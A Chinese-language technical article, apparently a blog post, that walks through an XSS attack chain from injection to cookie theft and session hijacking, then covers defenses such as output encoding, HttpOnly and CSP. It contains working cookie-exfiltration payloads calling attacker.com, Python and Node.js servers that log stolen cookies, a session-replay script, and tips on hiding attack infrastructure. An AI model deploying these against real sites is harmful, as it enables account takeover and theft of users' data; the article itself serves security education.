XSS攻击链深度剖析:从Cookie窃取到会话劫持的攻防实战
1. 项目概述一次完整的Cookie窃取攻击链在Web安全领域XSS跨站脚本攻击就像一把悬在开发者头顶的达摩克利斯之剑。它不像SQL注入那样直接攻击数据库也不像DDoS那样粗暴地耗尽资源XSS的攻击路径更隐蔽、更“优雅”它直接利用了用户对网站的信任在用户的浏览器里执行恶意代码。而其中Cookie窃取是XSS攻击最经典、也最具破坏性的目标之一。想象一下攻击者不需要知道你的密码只需要你点击一个链接或者浏览一个被篡改的页面你登录状态的“通行证”——Cookie就被悄无声息地发送到了千里之外的服务器上。接下来攻击者就可以用你的身份为所欲为查看私密信息、进行资金操作、甚至以你的名义发布内容。这篇文章我将从一个防御者的视角出发逆向拆解一次完整的、以窃取Cookie为目标的XSS攻击全链路。我不会教你如何攻击但我会把攻击者的思路、手法、工具链以及他们可能遇到的“坑”毫无保留地剖析给你看。只有彻底理解攻击是如何发生的每一个环节是如何衔接的我们才能在设计、开发和测试中精准地布下防线真正做到“别让用户代你受罚”。我们将从漏洞的发现与利用、攻击载荷的构造与投递、到数据的接收与处理最后回归防御的本质看看在每个环节我们该如何应对。2. 攻击链第一步漏洞的发现与利用点分析任何攻击都始于一个突破口。对于XSS窃取Cookie而言这个突破口就是一个能够注入并执行JavaScript代码的地方。攻击者像侦探一样在网站上寻找所有用户输入可控且输出未被妥善处理的位置。2.1 常见的XSS漏洞注入点排查攻击者首先会进行“攻击面测绘”。他们不仅仅测试明显的输入框而是审视所有将用户数据反射回页面的环节。根据我的经验以下几个地方是高频风险区也是我们自查时必须重点关注的URL参数反射型XSS这是最经典的场景。例如一个搜索功能搜索关键词会显示在结果页面上https://example.com/search?q用户输入。如果q参数的值未经处理就直接拼接进HTML攻击者就可以构造qscriptalert(1)/script进行测试。表单提交与内容存储存储型XSS比反射型更危险因为恶意代码会被保存到服务器数据库影响所有后续访问者。典型场景包括用户评论/留言攻击者在评论框中输入恶意脚本。个人资料页如昵称、签名这些信息会在多个页面展示。文章/帖子内容支持富文本编辑的地方如果过滤不严极易中招。文件上传功能如果允许上传SVG、HTML等文件且服务器未正确设置MIME类型或进行内容检查攻击者可以上传一个包含脚本的恶意文件。DOM操作DOM型XSS这种漏洞的源头在客户端JavaScript代码本身。例如前端JS从location.hash、document.referrer或URL参数中获取数据然后使用innerHTML、document.write()等不安全的方法写入页面。服务器端可能已经做了过滤但客户端代码又亲手引入了风险。实操心得在漏洞挖掘阶段攻击者不会只输入scriptalert(1)/script。他们会尝试各种变体来绕过可能的过滤机制比如大小写混淆、使用HTML实体编码、利用JavaScript事件如onerror、onload、或者使用svg、img等非script标签来承载代码。例如img srcx onerroralert(1)就是一个经典的利用onerror事件的Payload。2.2 判断漏洞是否可用于Cookie窃取发现一个弹窗alert(1)只是证明了漏洞的存在。要用于窃取Cookie还需要满足几个关键条件这也是攻击者会仔细验证的Cookie的HttpOnly属性这是防御Cookie窃取的第一道也是最有效的防线。如果目标Cookie被标记为HttpOnly那么客户端JavaScript通过document.cookie将无法读取它。攻击者在验证漏洞时会首先检查通过当前页面脚本能否读取到有价值的会话Cookie。他们可以通过在Payload中尝试输出document.cookie来确认。同源策略与Cookie作用域JavaScript只能读取当前域或父域取决于Domain属性设置下的Cookie。攻击者注入的脚本运行在受害网站的上下文中因此通常可以读取该网站设置的Cookie。但如果网站将关键Cookie设置为更严格的路径Path或使用了Secure属性仅限HTTPS攻击者也需要在对应的条件下才能窃取。输出上下文用户输入被嵌入在页面的哪个位置是在HTML标签内、属性里、还是JavaScript代码块中不同的上下文需要构造不同的Payload。例如在HTML属性中可能需要提前闭合引号和标签在script标签内部则需要考虑JavaScript语法。一个能弹窗的Payload未必能顺利地将Cookie数据发送出去。攻击者确认漏洞可利用后就会进入下一阶段精心构造攻击载荷。3. 攻击链第二步恶意载荷的构造与投递这是将理论漏洞转化为实际危害的核心环节。攻击者需要编写一段JavaScript代码Payload其核心功能是读取Cookie - 将Cookie数据发送到攻击者控制的服务器。3.1 经典Cookie外带Payload构造解析发送数据到远程服务器本质是发起一个HTTP请求。在浏览器环境中有多种方式可以实现各有优劣。1. 使用Image对象最隐蔽、兼容性最佳这是我最推荐攻击者也是防御者最应警惕的方式因为它极其隐蔽且不受跨域限制。new Image().src http://attacker.com/steal?data encodeURIComponent(document.cookie);原理创建一个Image对象并将其src属性设置为一个指向攻击者服务器的URL并将Cookie作为查询参数附加。浏览器会尝试加载这个“图片”从而向攻击者服务器发起一个GET请求。优势无跨域问题加载图片是允许跨域的。异步且不阻塞不会影响页面正常流程。无视觉影响如果图片加载失败大概率会失败通常只会在控制台产生一个404错误普通用户根本察觉不到。兼容性极好所有浏览器都支持。攻击者注意事项URL长度有限制如果Cookie很长可能需要分片发送。务必使用encodeURIComponent对Cookie进行编码避免特殊字符如、破坏URL结构。2. 使用fetch或XMLHttpRequest(XHR)这种方式更灵活可以发送POST请求携带更多数据。// 使用 fetch API (现代) fetch(http://attacker.com/steal, { method: POST, mode: no-cors, // 避免CORS预检请求 headers: {Content-Type: application/x-www-form-urlencoded}, body: cookie encodeURIComponent(document.cookie) }); // 使用 XMLHttpRequest (兼容旧浏览器) var xhr new XMLHttpRequest(); xhr.open(POST, http://attacker.com/steal, true); xhr.setRequestHeader(Content-Type, application/x-www-form-urlencoded); xhr.send(cookie encodeURIComponent(document.cookie));优势可以发送POST请求数据放在请求体中更隐蔽且不受URL长度限制。劣势可能触发浏览器的CORS跨源资源共享预检请求。如果攻击者服务器未正确配置CORS响应头请求可能会被浏览器阻止。使用mode: no-cors可以发送简单请求但无法读取响应不过这对于只发送数据的窃取场景来说足够了。3. 使用window.location或iframe会导致页面跳转或加载window.location http://attacker.com/steal?cookie encodeURIComponent(document.cookie);原理直接修改当前窗口或iframe的地址导航到攻击者服务器。劣势非常明显会导致用户浏览器页面跳转到一个陌生地址极易引起受害者警觉。通常只在攻击者不关心隐蔽性或结合社工手段如伪装成登录页面时使用。4. 利用表单自动提交构造一个隐藏的表单用JavaScript自动提交。script var form document.createElement(form); form.action http://attacker.com/steal; form.method POST; var input document.createElement(input); input.type hidden; input.name cookie; input.value document.cookie; form.appendChild(input); document.body.appendChild(form); form.submit(); /script优势可以发送POST请求且能模拟用户交互。劣势同样会导致页面跳转表单提交后的跳转。避坑指南攻击者视角在实际攻击中我强烈推荐使用Image对象方案。它几乎不会失败也最安静。使用fetch/XHR时务必注意CORS问题一个配置不当的接收服务器会让你收不到任何数据。永远不要依赖alert()或console.log()来调试攻击Payload因为那会在受害者浏览器上显示暴露攻击行为。应该在本地或可控环境搭建一个模拟的漏洞靶场进行充分测试。3.2 载荷的投递如何让用户“踩坑”构造好Payload后如何让它到达受害者的浏览器并执行存储型XSS攻击者只需将Payload提交到存在漏洞的存储点如评论、昵称。之后所有浏览该页面的用户都会自动中招。这是最“省事”也最持久的方式。反射型XSS需要诱导用户点击一个精心构造的链接。这通常结合钓鱼邮件、社交媒体消息、论坛帖子等进行传播。链接会被伪装成看起来可信的样子例如利用短域名服务隐藏长串参数或者利用网站的信任度如https://trusted-site.com/search?q恶意代码。DOM型XSS投递方式与反射型类似也需要用户点击链接。但由于漏洞在客户端Payload可能隐藏在URL的片段标识符#后面中这部分数据不会发送到服务器因此某些服务端的WAFWeb应用防火墙可能无法检测。攻击链的前两步发现漏洞、构造并投递载荷完成后攻击者就进入了“守株待兔”的阶段需要搭建一个服务器来接收窃取到的数据。4. 攻击链第三步搭建数据接收端攻击服务器攻击者窃取的Cookie数据需要发送到一个自己能控制的服务器上。这个服务器通常被称为“外带服务器”、“接收服务器”或“攻击服务器”。它的任务很简单监听特定端口接收HTTP请求并记录请求中的Cookie参数。4.1 简易HTTP服务器搭建方案对比对于攻击者来说这个服务器要求快速搭建、易于部署、且日志清晰。以下是几种常见方案方案一使用Python的http.server模块最快上手这是最快捷的方式适合临时测试或概念验证。# Python 3 python3 -m http.server 8080 # Python 2 python2 -m SimpleHTTPServer 8080优点一行命令启动无需编写代码。默认会提供当前目录的文件列表服务并且会记录所有访问日志包括GET请求的完整URL到控制台。缺点功能单一无法灵活处理请求。所有请求包括我们关心的带Cookie的请求和浏览器自动请求的favicon.ico等都会打印出来需要手动筛选。不适合长时间或高频率接收数据。方案二使用Pythonsocket库编写定制化接收脚本推荐这是更专业、更可控的做法。你可以编写一个简单的Python脚本只监听特定路径的请求并清晰地将Cookie数据提取并保存下来。#!/usr/bin/env python3 import socket from urllib.parse import urlparse, parse_qs HOST 0.0.0.0 # 监听所有网络接口 PORT 9999 def start_server(): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket: server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind((HOST, PORT)) server_socket.listen(5) print(f[*] 监听 {HOST}:{PORT}) while True: client_socket, addr server_socket.accept() print(f[] 接收到来自 {addr} 的连接) try: request client_socket.recv(1024).decode(utf-8, errorsignore) if not request: continue # 解析HTTP请求的第一行请求行 request_line request.splitlines()[0] if request.splitlines() else method, path, _ request_line.split() if in request_line else (, , ) print(f 请求: {method} {path}) # 从路径中解析查询参数对应Image.src的GET请求 parsed_path urlparse(path) query_params parse_qs(parsed_path.query) if cookie in query_params: stolen_cookie query_params[cookie][0] print(f[!!!] 窃取到Cookie: {stolen_cookie}) # 可以在这里将cookie写入文件 with open(stolen_cookies.log, a) as f: f.write(f{addr[0]} - {stolen_cookie}\n) # 发送一个简单的HTTP响应避免浏览器一直转圈 response bHTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n client_socket.sendall(response) except Exception as e: print(f[-] 处理请求时出错: {e}) finally: client_socket.close() if __name__ __main__: start_server()优点高度可控可以精确解析请求只提取我们关心的数据如URL中的cookie参数。易于扩展可以轻松添加功能如将数据保存到数据库、实时通知攻击者如通过Telegram Bot等。隐蔽性稍好可以返回一个正常的HTTP响应如200 OK甚至返回一个1x1像素的透明GIF图片让请求看起来更“正常”。缺点需要基本的编程能力。方案三使用Node.js、PHP或Go编写原理类似选择自己熟悉的语言即可。例如一个简单的Node.js Express服务器const express require(express); const app express(); const PORT 3000; app.get(/steal, (req, res) { const cookie req.query.cookie; const ip req.ip; console.log([!] 来自 ${ip} 的Cookie: ${cookie}); // 保存到文件或数据库 res.sendStatus(200); // 返回成功状态 }); app.listen(PORT, () { console.log(接收服务器运行在 http://0.0.0.0:${PORT}); });实操心得在真实网络环境中攻击者通常不会用自己的个人电脑或家庭IP直接作为接收服务器这太容易被追踪。他们会使用VPS虚拟专用服务器租用海外VPS使用临时域名或直接IP。云函数/Serverless服务如AWS Lambda、Google Cloud Functions无需管理服务器按需执行且IP地址属于云厂商隐蔽性较好。利用第三方网站寻找存在开放重定向漏洞的知名网站将窃取请求“跳转”到自己的服务器增加迷惑性。或者将数据编码后隐藏在向正常网站如统计平台、日志服务发起的请求参数中实现“数据外带”。域名与HTTPS为接收服务器配置一个看起来无害的域名如api.mydata-analytics.com并启用HTTPS。这是因为现代浏览器对混合内容HTTP页面发起HTTPS请求或有安全限制的页面如HTTPS页面向HTTP地址发送请求会有警告或阻止使用HTTPS能提高成功率。4.2 网络与防火墙考量攻击者的接收服务器需要能被受害者访问到。这意味着公网IP服务器必须有一个公网IP地址。端口开放服务器防火墙和安全组规则必须允许外部访问监听的端口如8080, 9999。NAT/路由器穿透如果服务器在局域网内需要在路由器上设置端口转发。一个常见的“坑”是云服务商如AWS、阿里云、腾讯云的安全组。即使你的VPS系统防火墙iptables/firewalld已经放行了端口如果云平台控制台里的安全组规则没有相应配置请求依然无法到达。攻击者在部署后一定会用另一台机器curl一下自己的服务器地址进行验证。至此攻击链的“发射端”恶意脚本和“接收端”服务器都已就绪。一旦受害者触发漏洞Cookie就会自动飞向攻击者。5. 攻击链第四步从Cookie到会话劫持收到Cookie只是第一步攻击者的最终目的是冒充受害者身份。这个过程称为会话劫持。5.1 Cookie的“使用手册”攻击者拿到的一串Cookie通常长这样sessionidabc123def456; usernamejohn_doe; csrftokenxyz789他们需要理解每个字段的含义sessionid这通常是最有价值的令牌。服务器用它来识别用户会话。有了它攻击者就拥有了受害者的登录状态。username,userid标识信息但通常不能单独用于认证。csrftoken跨站请求伪造令牌用于防御CSRF攻击。在某些情况下发起敏感操作如修改密码、转账时可能需要这个token但单纯的浏览数据可能不需要。5.2 实施会话劫持的两种方式方式一浏览器插件手动替换最简单攻击者可以使用浏览器插件如EditThisCookie, Cookie-Editor或开发者工具Application - Storage - Cookies。访问目标网站如https://victim.com。打开开发者工具找到对应域的Cookies。将sessionid等关键Cookie的值修改为窃取到的值。刷新页面。如果成功攻击者就会以受害者的身份登录。方式二编写自动化脚本批量或隐蔽操作对于攻击者而言手动操作效率太低。他们通常会编写脚本使用像curl、Python requests库或Puppeteer/Selenium这样的浏览器自动化工具。import requests # 设置请求头携带窃取的Cookie headers { User-Agent: Mozilla/5.0 ..., Cookie: sessionidabc123def456; csrftokenxyz789 # 这里替换成窃取的Cookie } # 访问需要认证的页面 response requests.get(https://victim.com/user/profile, headersheaders) if Welcome, John in response.text: # 检查页面内容确认登录成功 print([] 会话劫持成功) # 接下来可以执行任意操作如爬取私密数据、发送消息、进行交易等。 # 例如修改邮箱 # data {new_email: attackerevil.com} # requests.post(https://victim.com/settings/email, headersheaders, datadata) else: print([-] 劫持失败Cookie可能已过期或无效。)使用Puppeteer这样的无头浏览器工具可以更好地模拟真人操作绕过一些基于客户端行为的反爬或风控机制。5.3 会话的持久性与失效攻击者并非一劳永逸会话过期服务器端的会话有有效期。如果用户长时间不活动或主动登出会话失效Cookie也就没用了。密码修改/登出受害者如果修改密码或主动登出当前会话通常会被服务器立即使所有令牌失效。IP绑定/设备指纹一些安全意识较强的应用会将会话与首次登录的IP地址或设备指纹绑定。如果攻击者从完全不同的网络环境访问会话可能会被拒绝或要求二次验证。Cookie刷新有些应用采用滚动过期策略用户每次活动都会刷新Cookie的过期时间。攻击者如果持续活动可能会延长会话寿命。因此攻击者在得手后往往会迅速行动在最短时间内完成敏感操作如查看通讯录、导出数据、修改账户绑定信息等。6. 防御视角如何斩断这条攻击链理解了完整的攻击链防御就变得有章可循。我们需要在每一个环节设置障碍。6.1 输入处理消毒与净化这是最根本的防御确保用户输入的数据在输出到页面时是“干净”的。原则对输出进行编码而非对输入进行过滤。根据数据将要放置的上下文选择正确的编码方式。HTML内容上下文使用HTML实体编码。将转成lt;转成gt;转成amp;转成quot;转成#x27;。前端库如React、Vue、Angular等现代框架默认会对动态绑定到模板的数据进行转义。后端模板引擎如Jinja2 (Python)、Thymeleaf (Java)、Go templates等通常使用{{ variable }}语法会自动转义。但务必警惕|safe过滤器或v-html这样的指令它们会关闭转义。HTML属性上下文除了上述编码永远用引号单引号或双引号包裹属性值。避免将用户输入直接放在onclick、href、src等事件或URL属性中如果必须需要进行严格的URL编码和验证。JavaScript上下文这是最棘手的。绝对不要将用户输入直接拼接进script标签或事件处理程序中。应该将数据放在HTML的>Set-Cookie: sessionidabc123; HttpOnly; Secure; SameSiteStrictContent-Security-Policy(CSP)这是防御XSS的终极武器。通过白名单机制告诉浏览器只允许加载和执行来自哪些源的脚本、样式、图片等。一个严格的CSP可以完全阻止内联脚本包括XSS Payload的执行。Content-Security-Policy: default-src self; script-src self https://trusted.cdn.com; object-src none;default-src self默认只允许同源资源。script-src self ...只允许执行来自同源和指定CDN的脚本。注意这也会阻止你页面中所有内联的script标签和onclick等事件需要将内联脚本移出或使用nonce/hash机制。X-XSS-Protection虽然现代浏览器已废弃此头但对于旧浏览器仍有一定作用可设置为0来禁用有问题的过滤模式或设置为1; modeblock。X-Content-Type-Options: nosniff阻止浏览器MIME类型嗅探降低某些基于文件上传的XSS风险。Referrer-Policy控制Referrer信息的发送减少从URL泄露敏感参数的风险。6.3 其他纵深防御措施输入验证与白名单在业务允许的范围内对输入格式进行严格校验。例如用户名只允许字母数字邮箱必须符合格式等。使用白名单允许哪些字符而非黑名单禁止哪些字符。输出编码库使用成熟的库进行编码如OWASP ESAPI、DOMPurify用于客户端净化HTML。定期安全测试与代码审计将XSS漏洞扫描纳入CI/CD流程使用工具如OWASP ZAP, Burp Suite进行自动化扫描并辅以人工代码审计。安全意识培训让开发人员深刻理解XSS的原理与危害在代码审查中重点关注数据流问题。防御是一个系统工程没有一劳永逸的解决方案。但通过输出编码、设置HttpOnly、部署严格的CSP这三板斧已经可以抵御绝大多数XSS攻击。剩下的就是保持警惕持续跟进新的攻击手法和防御技术。毕竟安全是一场攻防双方永无止境的博弈。理解攻击链是我们构筑有效防御工事的第一步也是最关键的一步。